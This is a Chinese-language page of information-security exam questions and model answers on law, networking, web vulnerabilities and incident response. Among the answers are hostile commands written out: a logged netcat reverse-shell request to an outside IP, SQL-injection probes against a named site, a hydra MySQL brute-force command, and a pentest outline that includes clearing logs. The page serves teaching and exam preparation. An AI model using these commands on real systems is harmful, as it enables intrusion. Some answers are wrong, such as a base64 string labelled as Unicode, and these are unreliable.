A.使用过程中 B.网络中 C.管理过程中<br />
D.计算机系统中 E.计算机操作系统中</li>
<li>______是建立有效的计算机病毒防御体系所需要的技术措施。(ABCDE)<br />
A.杀毒软件 B.补丁管理系统 C.防火墙 D.网络入侵检测 E.漏洞扫描</li>
<li>信息系统安全保护法律规范的作用主要有______。(ABCDE)<br />
A.教育作用 B.指引作用 C.评价作用 D.预测作用 E.强制作用</li>
<li>根据采用的技术，入侵检测系统有以下分类：______。(BC)<br />
A.正常检测 B.异常检测 C.特征检测 D.固定检测 E.重点检测</li>
<li>在安全评估过程中，安全威胁的来源包括______。(ABCDE)<br />
A.外部黑客 B.内部人员 C.信息技术本身 D.物理环境 E.自然界</li>
<li>安全评估过程中，经常采用的评估方法包括______。(ABCDE)<br />
A.调查问卷 B.人员访谈 C.工具检测 D.手工审核 E.渗透性测试</li>
<li>根据ISO定义，信息安全的保护对象是信息资产，典型的信息资产包括______。(BC)<br />
A.硬件 B.软件 C.人员 D.数据 E.环境</li>
<li>根据ISO定义，信息安全的目标就是保证信息资产的三个基本安全属性，包括__。(BCD)<br />
A.不可否认性 B.保密性 C.完整性 D.可用性 E.可靠性</li>
<li>治安管理处罚法规定，______行为，处5日以下拘留；情节较重的，处5日以上10日以下拘留。(ABCD)<br />
A. 违反国家规定，侵入计算机信息系统，造成危害的<br />
B. 违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常运行的<br />
C. 违反国家规定，对计算机信息系统中存储、处理、传输的数据和应用程序进行删除、修改、增加的<br />
D. 故意制作、传播计算机病毒等破坏性程序，影响计算机信息系统正常运行的</li>
<li>网络蠕虫病毒越来越多地借助网络作为传播途径，包括______。(ABCDE)<br />
A.互联网浏览 B.文件下载 C.电子邮件 D.实时聊天工具 E.局域网文件共享</li>
<li>在信息安全管理中进行安全教育与培训，应当区分培训对象的层次和培训内容，主要包括__(ABE)<br />
A.高级管理层 B.关键技术岗位人员 C.第三方人员 D.外部人员 E.普通计算机用户</li>
<li>网络入侵检测系统，既可以对外部黑客的攻击行为进行检测，也可以发现内部攻击者的操作行为，通常部署在______。(BC)<br />
A. 关键服务器主机 B. 网络交换机的监听端口 C. 内网和外网的边界 D. 桌面系统 E. 以上都正确</li>
</ol>
<p>1.有一类加密算法，使用的加密密钥和解密密钥可以不同，这种加密算法称为：（ ）。 【非对称加密算法】<br />
2.0 day漏洞指的是什么类型的漏洞： （ ） 【厂家尚未公布修复补丁的漏洞】<br />
3.网络攻击行为中，“撞库”攻击指的是：（ ） 【使用泄漏的或已知的密码进行账号暴力猜测】<br />
4.你正在https://soc.csair.com网页上输入用户名密码，如何知道这个网页不是假冒的南航网站？（ ） 【查看数字证书信任关系】<br />
5.入侵检测系统（IDS）需要侦听一个交换机网口上的进出流量，IDS接到交换机上，并设置交换机。这个设置操作称为：（ ） 【端口镜像/span/mirror】<br />
6.为了防止硬盘的物理损坏导致数据丢失，使用磁盘冗余技术RAID5。3块2G的硬盘构成RAID5后，可用磁盘空间为多少？（ ） 【4G】<br />
7.DNS区域传输漏洞导致的直接后果是什么？ （ ） 【可以直接获取DNS域名全部记录信息】<br />
8.Google Hacking是如何实现攻击的？ （ ） 【通过Google搜索网站敏感信息或找到网站特定漏洞】<br />
9.在Linux系统中，给普通用户授予部分管理员权限的方法叫（ ）。【sudo】<br />
10.说出一种曾经出现过上传文件绕过漏洞的Web应用：（ ）。【IIS/apache】<br />
11.Linux用户密码密文存在哪个文件中：（ ）。【/etc/shadow】<br />
12.在Windows中要看到进程启动的路径和参数，例如“C:\WINDOWS\System32\svchost.exe -k netsvcs”，需要使用的命令是：（ ）【wmic】<br />
13.默认配置情况下，在XP系统上，使用什么命令可以探测到目标网络对端的主机是Windows或Linux：（ ） 【ping】<br />
14.Linux系统中，当用ls命令列出文件时，可以看到文件的权限设置：-rwxrwxrwx；分3组rwx ，其中中间的一组rwx是给什么用户的权限？（ ）。【文件所在组成员权限】<br />
15.要远程访问Windows服务器的共享文件夹，服务器需要开通的端口号是：（ ）。 【445】<br />
16.安全部门发现一个网站存在文件上传漏洞，可是系统开发是外包的，不能修改代码，运维人员应采取什么措施？ （ ）【取消目录的web脚本执行权限】<br />
17.802.1x通常使用于准入认证，它是属于OSI模型的哪层协议？（ ） 【二层/数据链路层】<br />
18.在APT攻击中，C&amp;C指的是（ ） 【控制中心】<br />
19.SQL server数据库中存储过程能执行系统命令（ ）。【xp_cmdshell】<br />
20.WINDOWS系统中，在cmd下运行命令可以查看到当前共享情况 （ ）。【net share】<br />
21.31 国家保护____、<em><strong>和________依法使用网络的权利。 公民、法人和其他组织<br />
22.32 网络安全法中网络运行安全规定，国家实行_____网络安全等级保护_____制度。<br />
23.33 网络产品、服务应当符合__相关国家标准____的强制性要求。<br />
24.34 网络关键设备和网络安全专用产品应当按照相关国家标准的强制性要求，由____具备资格的机构____安全认证合格或者安全检测符合要求后，方可销售或者提供。<br />
25.35 网络运营者_____为用户办理网络接入、域名注册服务。<br />
26.36 国家实施___网络可信身份战略，支持研究开发安全、方便的电子身份认证技术，推动不同电子身份认证之间的互认。<br />
27.37 网络运营者应当为公安机关、国家安全机关依法维护国家安全和侦查犯罪的活动提供_技术支持_和__协助。<br />
28.<br />
29.38 关键信息基础设施的运营者采购网络产品和服务，应当按照规定与提供者签订_____安全保密协议</strong></em>__，明确安全和保密义务与责任。<br />
30.39 定期组织关键信息基础设施的运营者进行网络安全__应急演练__，提高应对网络安全事件的水平和协同配合能力。<br />
31.40 网络运营者应对其收集的用户信息严格保密，并建立健全____用户信息保护制度_____。</p>
<ol start="2">
<li>443端口是__https__服务使用的</li>
<li>PING 是使用 TCP/IP 协议中的_ICMP__协议</li>
<li>Linux远程SSH远程管理服务的端口是__22__, Windows远程终端管理服务的端口是___3389__.</li>
<li>括号里的字符串是_ UNICODE编码 (UWluZ1RlbmcgU2VjdXJpdHk=)</li>
</ol>
<p>1.OpenSSL心脏滴血漏洞出现在哪个工作环节，成功利用漏洞可能导致什么危害？【在检测SSL心跳信息时没有对信息进行严格检查，导致越界读取内存信息；成功利用漏洞可使黑客盗取用户账号】</p>
<p>2.恶意或诈骗邮件的特点（请举例说明）：【发件人邮箱是陌生人；附件有危险文件类型：*.vbs, *.exe, *.bat等；邮件内容诱导填写密码；有中奖信息之类利益诱惑内容】</p>
<p>3.请说明跨站脚本（XSS）漏洞被利用的方法和可能导致的后果。（请说明存储和反射XSS漏洞被利用的场景，被攻击的对象，以严重程度。）<br />
【反射型XSS漏洞利用场景：用户可能被引诱点击带攻击代码的URL，导致用户把恶意代码发送到存在漏洞的服务器，而服务器会把恶意代码返回给用户浏览器并执行，导致用户的会话cookie被窃取，进而会话被劫持。存储型XSS漏洞利用场景：把带有恶意代码的URL发布在存在漏洞的网站上，引诱用户点击，服务器返回恶意代码，导致用户浏览器执行恶意代码，并在此网站执行用户未知的操作，可能导致连锁反应，形成蠕虫攻击】</p>
<p>4.您作为企业信息安全工程师，请指导企业员工如何做好PC防病毒。（请从PC电脑技术和员工意识方面说明）<br />
【至少有以下关键点：自动安装补丁，启用防火墙，安装防病毒软件；不要点击陌生邮件附件和链接，不要运行陌生人发来的软件，避免使用U盘】</p>
<p>5.Windows server操作系统默认安装后开放一些端口（禁用防火墙情况下），请您分析这些端口对用户开放存在哪些安全风险。<br />
【至少说明默认开放TCP445,3389,139端口；445，139端口容易被病毒攻击，共享可能被远程访问，远程安装软件；3389端口也曾经有漏洞，可能导致蓝屏，远程桌面容易被控制】</p>
<p>41 国家网信部门应当统筹协调有关部门对关键信息基础设施的安全保护采取哪些措施？<br />
答：应采取如下措施：<br />
（1） 对关键信息基础设施的安全风险进行抽查检测，提出改进措施，必要时可以委托网络安全服务机构对网络存在的安全风险进行检测评估；<br />
（2） 定期组织关键信息基础设施的运营者进行网络安全应急演练，提高应对网络安全事件的水平和协同配合能力；<br />
（3） 促进有关部门、关键信息基础设施的运营者以及有关研究机构、网络安全 服务机构之间的网络安全信息共享；<br />
（4） 对网络安全事件的应急处置与网络功能的恢复等，提供技术支持和协助。</p>
<p>42 网络安全事件发生的风险增大时，省级以上人民政府有关部门应当采取哪些措施？<br />
答：应采取下列措施：<br />
（1） 要求有关部门、机构和人员及时收集、报告有关信息，加强对网络安全风 险的监测；<br />
（2） 组织有关部门、机构和专业人员，对网络安全风险信息进行分析评估，预测事件发生的可能性、影响范围和危害程度；<br />
（3） 向社会发布网络安全风险预警，发布避免、减轻危害的措施。</p>
<p>1、简述DOS和DDOS的区别：<br />
答：DOS意思是 Denial of service 的缩写，也就是网络产生的初期，用一台高配的设备去攻击一台低配的设备，造成被攻击的设备死机<br />
DDOS意思是 Distributed Denial of service 的缩写，随着技术的进步，IT设备的配置都在飞速增长，DOS的方式已经变的水土不服，那就产生了分布式的DOS，形象的说就是我一个人打不过你，那我可以多叫几个兄弟过来揍你，我可以雇佣很多打手，（也就是控制很多傀儡机）这样的攻击就是DDOS</p>
<p>2、信息安全的基本属性主要表现在哪几个方面?<br />
答：（1）完整性（Integrity） （2）保密性（Confidentiality） （3）可用性（Availability） （4）不可否认性（Non-repudiation） （5）可控性（Controllability）</p>
<p>3、PMI与PKI的区别主要体现在哪些方面？<br />
答：PKI证明用户是谁，并将用户的身份信息保存在用户的公钥证书中；<br />
PMI证明这个 用户有什么权限，什么属性，能干什么，并将用户的属性信息保存在授权证书中。</p>
<p>4、请回答数据容灾的四个层次？<br />
第0级 本地备份、保存的冷备份<br />
第1级本地备份和异地保存的冷备份<br />
第2级热备份站点备份<br />
第3级活动互援备份</p>
<p>5、请简述网站保护的方法？<br />
答：方法一：提高网站代码的质量，对客户端输入的内容做好检测和过滤。<br />
方法二：部署WEB防火墙（WAF产品），用设备来替代程序做好检测和过滤。</p>
<p>6、什么是数字签名？并简述数字签名与数字签名验证有何区别？<br />
数字签名技术是将摘要信息用发送者的私钥加密，与原文一起传送给接收者。接收者只有用发送者的公钥才能解密被加密的摘要信息，然后用HASH函数对收到的原文产生一个摘要信息，与解密的摘要信息对比。如果相同，则说明收到的信息是完整的，在传输过程中没有被修改，否则说明信息被修改过，因此数字签名能够验证信息的完整性。<br />
数字签名是个加密的过程，数字签名验证是个解密的过程。</p>
<ol>
<li>在WEB日志中发现这条访问请求记录，请说说您的看法( GET <a rel="nofollow" href="http://www.hack.cn/hack.php?cmd=nc%2058.96.180.251%208080%20-e%20/bin/bash">http://www.hack.cn/hack.php?cmd=nc 58.96.180.251 8080 -e /bin/bash</a> 200 )<br />
答：攻击者使用netcat进行反弹链接，使服务器和IP地址为58.96.180.251的监听主机的8080端口建立连接，获得CMDSHELL。HTTP状态码为200，请求提交成功。</li>
<li>如何判断sql注入，有哪些方法, 为什么有的时候没有错误回显，用php举例<br />
答：问题一：可以采取手工检测和工具检测。<br />
（1）手工检测：打开一个页面，可用and 1=1和and 1=2手工检测。例如：<br />
例如：<a rel="nofollow" href="http://www.xudandan.com/news.php?id=4536">http://www.xudandan.com/news.php?id=4536</a> and 1=1（数值型)<br />
返回页面正常<br />
<a rel="nofollow" href="http://www.xudandan.com/news.php?id=4536">http://www.xudandan.com/news.php?id=4536</a> and 1=2<br />
返回页面异常（HTTP状态码为500）<br />
或者：<a rel="nofollow" href="http://www.xudandan.com/news.php?id=4536">http://www.xudandan.com/news.php?id=4536</a> and ‘1’=’1’（字符串型）<br />
<a rel="nofollow" href="http://www.xudandan.com/news.php?id=4536">http://www.xudandan.com/news.php?id=4536</a> and ‘1’=’2’<br />
与上述类似情况<br />
综上判断，该网站存在sql注入点。<br />
（2）工具有啊D，明小子旁注</li>
</ol>
<p>问题二：由于关闭了php的错误提示，linux中在安装php的目录下修改php.ini文件的相关配置信息。</p>
<ol start="3">
<li>xss的发生场景？如果给你一个XSS漏洞，你还需要哪些条件可以构造一个蠕虫？<br />
答：攻击者发现XSS漏洞后注入恶意代码到网页，使用户加载网页并执行恶意代码，攻击成功后可得到用户的cookie信息、未加密的敏感信息等。</li>
<li>CSRF漏洞的本质是什么？防御CSRF都有哪些方法？<br />
答：CSRF漏洞的本质是攻击者可以盗用受害者的身份，以受害者的名义发送恶意请求，对服务器来说这个请求是合法的。所以它又被称为“冒充用户之手”。<br />
CSRF攻击的思想是：受害者A登录某个受信网站T，在本地生成一个cookie，并在不登出网站T的前提下访问危险网站D，A访问D时执行攻击者构造的恶意代码，浏览器就会自动带着A产生的cookie信息请求访问T，T认为请求为A发起的，D就达到了伪造用户身份操作的目的。<br />
防御CSRF的方法：<br />
（1）token验证；<br />
（2）验证HTTP头的Referer</li>
<li>webshell检测，有哪些方法？<br />
答：静态特征检测：根据恶意字符串特征库，在脚本文件中检查是否匹配，这种方法容易误报和漏报。<br />
动态特征检测：把webshell特有的HTTP请求/响应做成特征库，加到IDS里面去检测所有的HTTP请求，但是由于未必能抓取全部的动态特征，必定会导致漏报。</li>
<li>简述Linux系统安全加固需要做哪些方面<br />
答：（1）安装最新的Linux发行版本，及时升级系统软件和内核；<br />
（2）遵循最小服务原则，关闭不必要的端口和服务；<br />
（3）删除或禁用可能无用的账户和用户组，限制root的远程访问；<br />
（4）设置密码策略满足复杂度要求；<br />
（5）检查重要目录和文件权限，例如去掉不必要的s权限；<br />
（6）根据具体情况设置iptables防火墙规则；<br />
（7）启用安全审计，并对入侵相关重要日志进行硬拷贝；</li>
<li>简述你需要针对一个目标渗透测试的步骤<br />
答：（1）信息收集。例如：Google Hacking，whois查询，或者使用社会工程学等；<br />
（2）漏洞扫描。<br />
（3）漏洞分析。综合收集的信息，例如漏洞扫描的结果，服务器的配置，防火墙的情况等，根据这些信息分析开发或者得到公开的渗透代码；<br />
（4）利用找到的目标系统的漏洞进行渗透入侵，从而得到管理权限并提权 ；<br />
（5）收集需要的、有用的信息；<br />
（6）清除日志；<br />
（7）生成渗透报告。</li>
</ol>
<p>8.请写一条正则表达式，用于匹配ip地址<br />
答：（（25[0-5]|2[0-4]/d|[01]?/d?/d）/.）{3}（25[0-5]|2[0-4]/d|[01]?/d?/d）</p>
<p>9.请用sed命令，删除一个文件中所有的换行符</p>
<p>10.请写出hydra暴力破解mysql的命令，字典名为mysql_pass.txt<br />
答：hydra –P mysql_pass.txt –Vv –e n –o save.log 192.168.1.1 mysql</p>
<p>1、简述计算机网络安全的定义<br />
网络安全是指计算机网络系统中的硬件、数据、程序等不会因为无意或恶意的原因而遭到破坏、篡改、泄露，防止非授权的使用或访问，系统能够保持服务的连续性，以及能够可靠的运行。<br />
2、什么是系统安全政策？<br />
安全政策。定义如何配置系统和网络，如何确保计算机机房和数据中心的安全以及如何进行身份鉴别和身份认证。同时，还确定如何进行访问控制、审计、报告和处理网络连接、加密和反病毒。还规定密码选择、账户到期、登录尝试失败处理等相关领域的程序和步骤。<br />
3、如果一个组织（或企业）的系统安全管理或网络管理人员，接到人事部门通知被解职，应该按照一般的安全策略执行那些安全措施？<br />
一个员工离开单位，他的网络应用账户应及时被禁用，他的计算机接入应立即禁止。如果配有便携笔记本式计算机或其它相关硬件设备，应及时进行收回。同时，在员工离职时，他们的身份验证工具如：身份卡、硬件令牌、智能卡等都同时收回。无论离职员工何时是否离开，一旦得知该员工即将离职，应对其所能够接触到的信息资源（尤其是敏感信息）进行备份处理。因为，一般情形下，员工的离职是一个充满情绪化的时期，尽管大多数人不会做出什么过分之举，但是保证安全总比出了问题再补救要有效。<br />
总之，无论是雇佣策略还是雇佣终止策略，都有需要考虑当地的政治和法律因素。在制定策略时，应避免出现如性别和种族歧视等违反法律或一般道德规范的条款。<br />
4、简述计算机网络攻击的主要特点。<br />
①损失巨大。由于攻击和入侵的对象是网络上的计算机，所以一旦他们取得成功，就会使网络中成千上万台计算机处于瘫痪状态，从而给计算机用户造成巨大的经济损失。<br />
②威胁社会和国家安全。一些计算机网络攻击者出于各种目的经常把政府要害部门和军事部门的计算机作为攻击目标，从而对社会和国家安全造成威胁。<br />
③手段多样，手法隐蔽。计算机攻击的手段可以说五花八门。<br />
④以软件攻击为主。几乎所有的网络入侵都是通过对软件的截取和攻击从而破坏整个计算机系统的。<br />
5、简述信息系统风险评估（风险分析）的主要内容。<br />
（又称风险分析）指将可能发生的安全事件所造成的损失进行定量化估计。如某类安全事件发生的概率、此类安全事件发生后对组织的数据造成的损失、恢复损失的数据需要增加的成本等。<br />
一般情况下，只有结束数据资产评估后，才能进行风险评估。只有认定具有价值或价值较高的数据才有必要进行风险评估。<br />
6、简述比较数据完全备份、增量备份和差异备份的特点和异同。<br />
①完全备份：指将所有的文件和数据都备份到存储介质中。完全备份的实现技术很简单，但是需要花费大量的时间、存储空间和I/O带宽。它是最早的、最简单的备份类型。<br />
②差异备份：对上一次完全备份之后才进行改变的数据和文件才需要进行复制存储。差异备份与完全备份相比，只需要记录部分数据，更为迅速。<br />
差异备份分为两个步骤：<br />
第一步，制作一个完全备份；<br />
第二步，对比检测当前数据与第一步骤中完全备份之间的差异。故差异备份必须在一次完全备份之后才可能开始，而且需要定时执行一次完全备份。这时的“定时”时间段取决于预先定义的备份策略。<br />
差异备份的恢复也分为两个步骤：<br />
第一步，加载最后一次的完全备份数据；<br />
第二步，使用差异备份的部分来更新变化过的文件。<br />
优点：差异备份在备份速度上比完全备份快。但是在备份中，必须保证系统能够计算从某一个时刻起改变过的文件。所以从空间上，差异备份只需要少量的存储空间就可以对文件或数据实现备份。<br />
③增量备份：仅仅复制上一次全部备份后或上一次增量备份后才更新的数据。它与差异备份相类似，与差异备份相比，只需要备份上一次任何一种备份之后改变的文件。所以，其备份速度更快。但是，增量备份数据或文件的恢复方法稍微复杂，它需要在某个完全备份恢复的数据基础上，然后将该时间点以后所有的增量备份都更新到数据库中。其备份空间占据，比差异备份所需的空间更少。<br />
每种备份方式都各有优缺点，采用时，需要在备份策略中仔细评估每一种备份方式的时用性，最终选择备份方法。<br />
备份类型比较表：<br />
7、说明信息安全等级保护一般分为几个等级，并简述第三级信息安全保护的要求内容。<br />
信息系统根据其在国家安全、经济建设、社会生活中的重要程度，遭到破坏后对国家安全、社会秩序、公共利益以及公民、法人和其他组织的合法权益的危害程度等，由低到高划分为五级。<br />
具体的安全保护等级划分为以下五级：<br />
第一级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但不损害国家安全、社会秩序和公共安全。<br />
第二级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益产生严重损害，或者对社会秩序和公共利益造成损害，但不损害国家安全。<br />
第三级，信息系统受到破坏后，会对社会秩序和公共利益造成严重损害，或者对国家安全造成损害。<br />
第四级，信息系统受到破坏后，会对社会秩序和公共利益造成严重损害，或者对国家安全造成严重损害。<br />
第五级，信息系统受到破坏后，会对国家安全造成严重损害。<br />
8、物联网安全问题主要表现在那几个方面？<br />
目前，互联网在发展过程中遇到了两大体系性瓶颈，一个是地址不够，另一个是网络的安全问题。地址的问题通过IPv6能够解决，但是网络安全问题目前却没有好的解决之道。如果不能解决网络的可管、可控以及服务质量问题，将会在很大程度上影响物联网的进一步发展。根据物联网自身的特点，物联网除了面对移动通信网络的传统网络安全问题之外,还存在着一些与已有移动网络安全不同的特殊安全问题。这是由于物联网是由大量的机器构成,缺少人对设备的有效监控,并且数量庞大,设备集群等相关特点造成的，这些安全问题主要有以下几个方面。<br />
（1）物联网机器/感知节点的本地安全问题<br />
由于物联网的应用可以取代人来完成一些复杂、危险和机械的工作。所以物联网机器/感知节点多数部署在无人监控的场景中。那么攻击者就可以轻易地接触到这些设备,从而对他们造成破坏,甚至通过本地操作更换机器的软硬件。<br />
（2）感知网络的传输与信息安全问题<br />
感知节点通常情况下功能简单（如自动温度计）、携带能量少（使用电池）,使得它们无法拥有复杂的安全保护能力,而感知网络多种多样,从温度测量到水文监控,从道路导航到自动控制,它们的数据传输和消息也没有特定的标准,所以没法提供统一的安全保护体系。<br />
（3）核心网络的传输与信息安全问题<br />
核心网络具有相对完整的安全保护能力,但是由于物联网中节点数量庞大,且以集群方式存在,因此会导致在数据传播时,由于大量机器的数据发送使网络拥塞,产生拒绝服务攻击。此外,现有通信网络的安全架构都是从人通信的角度设计的,并不适用于机器的通信。使用现有安全机制会割裂物联网机器间的逻辑关系。<br />
（4）物联网业务的安全问题<br />
由于物联网设备可能是先部署后连接网络,而物联网节点又无人看守,所以如何对物联网设备进行远程签约信息和业务信息配置就成了难题。另外,庞大且多样化的物联网平台必然需要一个强大而统一的安全管理平台,否则独立的平台会被各式各样的物联网应用所淹没,但如此一来,如何对物联网机器的日志等安<br />
全信息进行管理成为新的问题,并且可能割裂网络与业务平台之间的信任关系,导致新一轮安全问题的产生。</p>
<p>1、分析信息安全的弱点和风险来源。<br />
（1）信息安全的木桶理论<br />
木桶理论：一个由许多长短不同的木板箍成的木桶，决定其容水量大小的并非是其中最长的那块木板或全部木板的平均值，而是取决于其中最短的那块木板。<br />
在信息安全中，认为信息安全的防护强度取决于“信息安全防线”中最为薄弱的环节。即最薄弱的环节存在最大的安全威胁，只有针对该环节进行改进才能提高信息安全的整体防护强度。<br />
（2）信息安全威胁的来源<br />
信息威胁的来源于四个方面：技术弱点、配置失误、政策漏洞、人员因素。 ①典型技术弱点。<br />
ACP/IP网络。由于其协议是一个开放的标准，主要用于互联网通信，开放的网络导致其不能保障信息传输的完整性和未经授权的存取等攻击手段做出适当的防护。<br />
操作系统漏洞。主流操作系统如UNIX、Windows、Linux等，由于各种原因导致其存在漏洞，必须由系统管理员经过安全配置、密切跟踪安全报告以及及时对操作系统进行更新和补丁更新操作才能保证其安全性。<br />
②配置失误。由于操作者执行安全操作不到位或对安全技术理解不透引起的配置失误。如：系统账户存在易被猜测的用户名和密码。管理员技术不足以适应岗位或由于疏忽、惰性的原因，未对默认的高权限系统账户进行处理。<br />
设备未得到良好配置。如路由器、交换机或服务器使用带有漏洞的默认配置方式，或路由器的路由表未经过良好的维护，服务器的访问控制列表存在漏洞等。 ③政策漏洞。政策制定中未经过良好的协调和协商，存在不可能执行的政策，或政策本身违反法律条文或已有规章制度。<br />
④人员因素。是造成安全威胁的最主要因素。通常，人员因素导致的安全威胁分为恶意攻击者导致的安全威胁和无恶意的人员导致的安全威胁。<br />
典型的恶意攻击者造成的安全威胁是：<br />
A、道德品质低下。攻击者实施以诈骗、盗窃或报复为目的攻击，尤其以报复为目的攻击对组织来说最为危险。<br />
B、伪装或欺骗。其核心在于通过伪装和欺骗来获取攻击者所需要的信息。<br />
C、拒绝服务攻击。攻击者的目的是为了干扰正常的组织运作，借此达到攻击的目的。<br />
典型的无恶意的人员者造成的安全威胁是：<br />
A、突发事故。突发事故可能导致设备损坏或线路故障等。<br />
B、缺少安全意识。组织成员缺乏必要的安全意识，不曾接受过必要的安全培训。<br />
C、工作负担不合理。参与安全工作的工作人员与工作量不能较好匹配，协同工作能力低下或者工作流程分配不合理，可能造成设备的配置错误，也可能出现工作人员相互推卸责任。<br />
2、论述系统突发事件响应策略的主要内容和实现方式。<br />
是提前设计好的，并需要对所有可能突发事件情况进行推测和预测制定的行动方案。一般覆盖事件发生的几个阶段。包括：准备阶段、识别事件、检测和调查、限制、修复和消除、后续步骤。<br />
（1）准备阶段<br />
员工提前接受对应对突发事件的培训，以理解在突发事件发生后的报告链或命令链，并能够按照预定方案进行行动。另外，购置应对处置突发事件时所使用的必要设备（如检测、限制和恢复工具等）。具体准备工作有：<br />
成立突发事件响应工作专家小组，可以是临时的，也可以是常设的。一般由领导、网络系统安全分析人员、（临时或永久的）法律专家组成。进行紧急决策、事件技术分析、指导取证及保留和诉讼、及时准确的信息发布公开等工作的展开。<br />
（2）识别事件<br />
是进行安全事件响应流程的起点和第一步骤。如出现对网络的嗅探或端口扫描，可能是发动一次大规模攻击的前兆，如果在此阶段就能准确识别事件，就可以采取一定的措施避免攻击的进一步扩大。但是，安全人员在没有确定一个安全事件发生之前，就贸然地进入处理安全事件的紧急状态，也是一个非常糟糕的决定。因为一次普通的ping操作或一个简单的http连接都有可能造成误报。而IDS虽可以检测一些事件的发生，但可能这些事件不一定是安全事件或潜在的攻<br />
击威胁。只能进行初步的筛选，还须进一步手工检查和识别。所以，参与识别的人员应该包括系统管理员和网络管理员，如果识别确实是一个攻击或安全事件，及时提高警戒级别，报告相关高层人员，按照预定处置方案进行处理，包括招集事件响应小组，分配相关资源等行动。<br />
（3）调查与检测<br />
是进行安全事件响应流程的起点和第一步骤。其主要任务是对事件中涉及的日志、文件、记录及其相关资料和数据进行研究和分析，从而最终确定事件发生的原因和事件的影响范围。调查的结果最终能够判定安全事件到底是一次攻击还是一次更大规模攻击的前夕；是一次随机事件还是一次误报；安全事件发生的原因和诱因何在？对引发事件的原因进行分类，并判定该次安全事件对整个网络造成的影响进行评估，为下一步的修复提供参考。故准确地发现安全事件的原因，对修复和预防具有重要的作用。<br />
如：在诸多引发安全事件的原因中，病毒和恶意代码通常是最为普遍的，一般用户做不到像安全人员那样敏感，无意中引发病毒或安装木马程序。一般可以采取借助软件包分析工具或反病毒软件来识别病毒，查杀之。<br />
（4）限制、修复和消除<br />
①限制事件的影响和发展：限制安全事件的进一步发展和造成的负面影响。常采取以下的限制活动：<br />
A、通知并警告攻击者。对于内部攻击或已知来源于外部的攻击，可直接对攻击者发出警告，并同时切断他与网络的连接。如需进一步对其进行起诉，应征询法律顾问的意见后，并在收集证据中使用经过取证培训的人员<br />
B、切断攻击者与网络系统的通信：是最为普通的做法，也是最快捷的响应方式。例如：通过添加或修改防火墙的过滤规则，对路由或IDS增加规则，停用特定的软件或硬件组件。若攻击者是通过特定的账户获得非授权访问时，则通过禁用或删除这个账户的方法进行限制。<br />
C、对事件来源进行分析：通过分析事件，找出当前系统中存在的不足之处，并通过必要的手段暂堵住这一漏洞。例如：入侵者是通过软件系统的漏洞进入系统的，则通过给软件系统加装补丁的方式将其限制。<br />
另外，当安全管理员恢复系统和进行漏洞补丁时，往往需要暂切断与网络（或INTERNET互联）的连接，这时用户不能获得网络服务，将导致正常工作或经济<br />
和信誉上的重大损失，此时，需要在保障安全与经济利益之间做出选择。<br />
②修复系统：指恢复机构和组织在攻击之前的正常处理方案。它包括重新设置权限并填补漏洞；逐步恢复服务。严重时，启动灾难恢复计划（DRP），调取异地备份资料等。DRP是安全流程中的一个重要组成部分。<br />
③消除事件的影响：消除攻击事件或攻击者给网络系统造成的影响。主要包括：<br />
A、统一的补丁或升级：对补丁进行测试，确定无误后，才能对系统进行大规模、大批量的打补丁操作，对软件或硬件进行统一的升级或补丁。<br />
B、清查用户账户和文件资源：若攻击者采用的是超越权限或漏洞用户等方式，则清理相关账户，对攻击发生后的建立的用户账户进行详细的检查。若攻击事件是病毒或恶意代码引起的，一般应检查关键文件的健康状况，防止有计算机病毒或木马程序潜伏。禁用一些不必要的账户。<br />
C、检查物理设备：如果攻击者采用物理方式或社会工程学方式进行攻击，须彻底检查物理设备。如果发现有遭受损坏、破坏的，应及时修复或处理，并作出相应的措施防止再次发生。<br />
④后续阶段。由多项任务组成。包括：<br />
A、记录和报告。在在整个事件响应过程中，都应进行详细记录。包括辨识事件、调查事件、响应步骤、修复系统、改进意见等一系列步骤。它对今后应对类似攻击时，将是非常宝贵的资料。如果需要借助法律程序，则还须提供额外的、符合法律规范的报告文档。另外，这些收集的资料，除了提交给高层管理者外，同时可提供给其他组织成员进行警示和提醒，必要时可充时到相关的安全培训教材中。这是某种意义上知识共享的重要组成部分。<br />
B、过程调整（即流程调整）。它包括：<br />
当前的相关政策是否对本次发生的安全事件的解决的帮助？政策起到何种支持作用；<br />
在本次事件的处理中，学习到哪些新的经验与教训；<br />
若再次发生类似事件，今后应如何应对？效果又会有何区别。<br />
⑤取证和保存证据。事件发生后，采取获取和保存具法律效力的证据或事实证明的一系列行为。一般在事件发生后，希望提起诉讼、追查攻击者以至于获得赔偿所必须的手段。<br />
计算机证据具有与其它证据不具有的特点。即往往不能被直接感受到；通常<br />
是书面的证据。所以，获取证据时需要格外注意以下几点：<br />
A、发生攻击后，应在第一时间保护计算机的软件、硬件环境。如立即进行当前系统快照、切断网络和远程连接、记录电子邮件、Web和DNS的当前cache等。若技术能力有限，可聘请或咨询专业的取证技术人员进行证据的保存工作。<br />
B、收集证据时必须进行适当的标记，如标记发现者、被发现日期、时间、地点等信息。<br />
C、保护证据还会受到过冷、过热、潮湿、静电、电磁和震动的影响。若暂时不需要运输和传送的，应保存在物理访问受限制和进行物理访问受控制的环境中。<br />
D、分析调查时，尽量采用原始证据的副本（如磁盘镜像、系统快照等），不要使用原始证据设备。但镜像制作时，应采用按位复制或按扇区复制等较为低级的复制方法，并制作散列摘要。同时，保持证据的连续性（（取证链完整）。如一系列的人和事物能够证明获得的证据，在什么时间、什么地点、存储在何处、谁控制的拥有证据等。因为，一旦不能保证证据的连续性，该证据可能将不被法律机构认同或接受。</p>
<ol>
<li>简述安全策略体系所包含的内容。<br />
答：一个合理的信息安全策略体系可以包括三个不同层次的策略文档：<br />
（1）总体安全策略，阐述了指导性的战略纲领性文件，阐明了企业对于信息安全的看法和立场、信息安全的目标和战略、信息安全所涉及的范围、管理组织构架和责任认定以及对于信息资产的管理办法等内容；<br />
（2）针对特定问题的具体策略，阐述了企业对于特定安全问题的声明、立场、使用办法、强制要求、角色、责任认定等内容，例如，针对Internet访问操作、计算机和网络病毒<br />
防治、口令的使用和管理等特定问题，制定有针对性的安全策略；<br />
（3）针对特定系统的具体策略，更为具体和细化，阐明了特定系统与信息安全有关的使用和维护规则等内容，如防火墙配置策略、电子邮件安全策略等。</li>
<li>简述我国信息安全等级保护的级别划分。<br />
答： (1)第一级为自我保护级。其主要对象为一般的信息系统，其业务信息安全性或业务服务保证性受到破坏后，会对公民、法人和其它组织的合法权益产生损害，但不损害国家安全、社会秩序和公共利益；本级系统依照国家管理规范和技术标准进行自主保护。<br />
